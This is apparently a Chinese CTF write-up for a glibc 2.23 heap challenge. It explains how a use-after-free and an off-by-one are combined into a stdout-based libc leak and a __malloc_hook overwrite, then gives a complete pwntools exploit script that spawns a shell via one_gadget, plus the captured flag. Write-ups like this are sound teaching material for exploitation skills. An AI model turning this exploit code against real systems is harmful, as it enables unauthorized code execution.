1. ida分析
- 存在uaf 和 off by one,可以实现任意地址写
- 没有show函数,且保护全开,不能修改got表
2. 思路
- 使用
stdout
爆破,泄漏libc
- 先申请几个chunk,通过off by one,构造chunk lapping
- 再通过uaf修改fd,构成任意地址写
- 注意点就是,想法设法构造chunk复用
-
uaf + off by one
总结一下就是,先del构造fastbin,再改chunk head构造unstored bin,再申请一个不是fastbin大小的chunk覆盖fastbin,修改fastbin的fd造成任意地址写
3. exp
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=False :sh.recvuntil(delims, drop)
rl = lambda :sh.recvline()
irt = lambda :sh.interactive()
pinfo = lambda name,addr :log.success('{} : {:#x}'.format(name, addr))
context(log_level = 'debug', arch = 'amd64')
elf = ELF('./pwn')
DEBUG = 1
if DEBUG:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./pwn')
else:
IP = '47.104.175.110'
PORT = '20066'
libc = ELF('./libc.so.6')
sh = remote(IP,PORT)
def add(idx,size):
sla('>> ','1')
sla('index:',str(idx))
sla('size:',str(size))
def dele(idx):
sla('>> ','2')
sla('index:',str(idx))
def edit(idx,con):
sla('>> ','3')
sla('index:', str(idx))
sa('context:',con)
def debug():
gdb.attach(sh)
pause()
def pwn():
add(0,0x18)
add(1,0x68)
add(2,0x68)
add(3,0x10)
dele(1)
edit(0,'a'*0x18 + '\xe1') #2.23 改完之后可以double free
dele(1)
add(1,1)
edit(1,'\xdd\x25') #改 fd 为 stdout 爆破地址
edit(0,'a'*0x18 + '\x71')
add(4,0x68)
add(5,0x68)
edit(5,'a' * 0x33 + p64(0xfbad1800) + p64(0) * 3 + p8(0x58)+'\n')
stdout = u64(ru('\x7f')[-6:].ljust(8,'\x00')) - 131
libc.address = stdout - libc.sym['_IO_2_1_stdout_']
pinfo("libc.address",libc.address) #爆破泄漏 libc地址
dele(2)
add(6,0xb0)
edit(6,'a'*0x48 + p64(0x71) + p64(libc.sym['__malloc_hook']-0x23)*2+'\n') #打malloc hook
add(7,0x60)
add(7,0x60)
edit(7,'a'*0xb + p64(libc.address + 0x4527a)+p64(libc.sym['realloc']+11)+'\n')# 通过realloc调整rsp满足onegadget条件
debug()
add(8,0x88)
irt()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
if __name__ == '__main__':
while True:
try:
pwn()
except EOFError as e:
print("error,try again.")
sh.close()
sh = process('./pwn')
#sh = remote(IP,PORT)
#flag{a3a6d84e-30b3-41ce-a6bc-158e2a975f73}